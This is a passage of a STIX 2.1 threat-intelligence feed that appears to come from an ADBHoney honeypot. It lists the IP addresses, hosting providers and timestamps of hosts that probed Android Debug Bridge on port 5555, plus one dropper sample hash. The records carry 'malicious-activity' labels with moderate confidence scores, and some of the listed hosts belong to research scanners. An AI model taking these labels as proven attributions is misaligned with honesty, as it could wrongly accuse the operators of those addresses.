      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-27T15:57:40.000Z | last_seen=2026-05-27T15:58:50.951Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--4392d848-b1bc-430a-84bd-7affb3321215",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '143.42.1.213']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T16:00:02.000Z",
      "valid_until": "2026-06-28T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-27T15:57:40.000Z",
          "last_seen": "2026-05-27T15:58:50.951Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=6; ports=5555; cc=GB; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=6 | first_seen=2026-05-27T15:43:56.000Z | last_seen=2026-05-27T15:45:03.839Z | ports=5555 | cc=GB | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--1f1abb6a-241a-40c6-9dd3-832d0c4789b4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '165.232.96.194']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T16:00:02.000Z",
      "valid_until": "2026-06-28T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 6,
          "first_seen": "2026-05-27T15:43:56.000Z",
          "last_seen": "2026-05-27T15:45:03.839Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-27T15:57:20.000Z | last_seen=2026-05-27T15:58:23.024Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--727bb21e-cd35-4ac2-a565-736cdcf8c495",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.233.221.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T16:00:02.000Z",
      "valid_until": "2026-06-28T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-27T15:57:20.000Z",
          "last_seen": "2026-05-27T15:58:23.024Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=7 | first_seen=2026-05-27T15:09:41.000Z | last_seen=2026-05-27T15:19:48.954Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--0c3eead4-8f85-4c47-b954-d70ae6e1d0e9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T16:00:02.000Z",
      "valid_until": "2026-06-28T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 7,
          "first_seen": "2026-05-27T15:09:41.000Z",
          "last_seen": "2026-05-27T15:19:48.954Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-27T15:08:58.000Z | last_seen=2026-05-27T15:10:00.681Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--f925b074-e641-4290-afad-05f8789771c9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.20.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T16:00:02.000Z",
      "valid_until": "2026-06-28T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-27T15:08:58.000Z",
          "last_seen": "2026-05-27T15:10:00.681Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T16:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/73f4e904706425cca8d5578401819c74a988c2cc81eca1ec2bdb4b758668cc82.raw; last_seen=2026-05-27T15:59:21.247Z",
      "id": "indicator--e88772dd-e59b-4293-8946-b0674d27dff1",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[file:hashes.'SHA-256' = '73f4e904706425cca8d5578401819c74a988c2cc81eca1ec2bdb4b758668cc82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T17:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=SC; asn=206264; asn_org=Amarutu Technology Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=17 | first_seen=2026-05-27T16:50:14.000Z | last_seen=2026-05-27T17:02:14.082Z | ports=5555 | cc=SC | asn=206264 | org=Amarutu Technology Ltd",
      "id": "indicator--d52f0262-f166-4536-9a45-fe5981be7edb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '5.61.209.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:00:04.000Z",
      "valid_until": "2026-06-28T17:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 17,
          "first_seen": "2026-05-27T16:50:14.000Z",
          "last_seen": "2026-05-27T17:02:14.082Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SC"
          ],
          "asn": [
            "206264"
          ],
          "org": [
            "Amarutu Technology Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T17:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-27T16:55:35.000Z | last_seen=2026-05-27T16:57:15.461Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--0ef8926e-d89d-4b6f-a831-8daee5b8198a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.146']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T17:00:04.000Z",
      "valid_until": "2026-06-28T17:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-27T16:55:35.000Z",
          "last_seen": "2026-05-27T16:57:15.461Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T18:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=15; ports=5555; cc=NL; asn=14061; asn_org=DigitalOcean, LLC; cats=Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-27T17:15:57.000Z | last_seen=2026-05-27T17:26:14.355Z | ports=5555 | cc=NL | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--3a19dbb0-45d7-4e7e-b427-e1ee9d402962",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.245.71.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T18:00:02.000Z",
      "valid_until": "2026-06-28T18:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 15,
          "first_seen": "2026-05-27T17:15:57.000Z",
          "last_seen": "2026-05-27T17:26:14.355Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=25; ports=5555; cc=US; asn=8075; asn_org=Microsoft Corporation; cats=Detection of a Network Scan; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=25 | first_seen=2026-05-27T18:08:11.000Z | last_seen=2026-05-27T18:19:33.334Z | ports=5555 | cc=US | asn=8075 | org=Microsoft Corporation",
      "id": "indicator--feb3cc2f-8577-4039-a22f-24ba51c8bcf1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '20.64.105.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T19:00:02.000Z",
      "valid_until": "2026-06-28T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 25,
          "first_seen": "2026-05-27T18:08:11.000Z",
          "last_seen": "2026-05-27T18:19:33.334Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "8075"
          ],
          "org": [
            "Microsoft Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-27T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=398324; asn_org=Censys, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-27T21:33:15.000Z | last_seen=2026-05-27T21:34:32.432Z | ports=5555 | cc=US | asn=398324 | org=Censys, Inc.",
      "id": "indicator--917355fe-5f38-4b46-8f63-ddc8e417f93d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.195.59']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-27T22:00:02.000Z",
      "valid_until": "2026-06-28T22:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-27T21:33:15.000Z",
          "last_seen": "2026-05-27T21:34:32.432Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "398324"
          ],
          "org": [
            "Censys, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T00:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=22 | first_seen=2026-05-27T23:55:57.000Z | last_seen=2026-05-28T00:07:25.270Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--f4bda5e9-88a5-4a48-8d78-beabf13e8c70",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T00:00:03.000Z",
      "valid_until": "2026-06-29T00:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 22,
          "first_seen": "2026-05-27T23:55:57.000Z",
          "last_seen": "2026-05-28T00:07:25.270Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=DE; asn=215929; asn_org=Data Campus Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-28T01:05:37.000Z | last_seen=2026-05-28T01:06:45.099Z | ports=5555 | cc=DE | asn=215929 | org=Data Campus Limited",
      "id": "indicator--1de528c5-89f3-45c0-a1f3-fd75ce65fcf0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.24.211.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T02:00:02.000Z",
      "valid_until": "2026-06-29T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-28T01:05:37.000Z",
          "last_seen": "2026-05-28T01:06:45.099Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "215929"
          ],
          "org": [
            "Data Campus Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=9 | first_seen=2026-05-28T01:28:32.000Z | last_seen=2026-05-28T01:38:37.132Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--ca45eeab-ae3d-4014-b5ff-ce5b2f648771",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T02:00:02.000Z",
      "valid_until": "2026-06-29T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 9,
          "first_seen": "2026-05-28T01:28:32.000Z",
          "last_seen": "2026-05-28T01:38:37.132Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T02:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-28T01:26:31.000Z | last_seen=2026-05-28T01:27:39.173Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--2e958531-9605-4990-8a0a-30f0b4306f70",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '216.218.206.89']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T02:00:02.000Z",
      "valid_until": "2026-06-29T02:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-28T01:26:31.000Z",
          "last_seen": "2026-05-28T01:27:39.173Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T05:00:12.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=MX; asn=265523; asn_org=Sierra Madre Internet SA de CV; cats=Generic Protocol Command Decode,Misc activity; adb_cmd_hits=1377\n\nObserved in ADBHoney telemetry for 2026-05. events=19 | first_seen=2026-05-28T04:54:06.000Z | last_seen=2026-05-28T05:04:25.214Z | ports=5555 | cc=MX | asn=265523 | org=Sierra Madre Internet SA de CV",
      "id": "indicator--c2d499ce-bd9a-4bab-b67f-104629804ebc",
      "labels": [
        "malware_hosting",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '177.125.137.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T05:00:12.000Z",
      "valid_until": "2026-06-29T05:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 19,
          "first_seen": "2026-05-28T04:54:06.000Z",
          "last_seen": "2026-05-28T05:04:25.214Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "MX"
          ],
          "asn": [
            "265523"
          ],
          "org": [
            "Sierra Madre Internet SA de CV"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-28T09:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=51396; asn_org=Pfcloud UG (haftungsbeschrankt); cats=Misc activity; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=15 | first_seen=2026-05-28T08:52:02.000Z | last_seen=2026-05-28T09:18:25.599Z | ports=5555 | cc=NL | asn=51396 | org=Pfcloud UG (haftungsbeschrankt)",
      "id": "indicator--881aace8-2c43-4812-b44e-6fe1747d6215",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '176.65.149.31']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-28T09:00:03.000Z",
      "valid_until": "2026-06-29T09:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
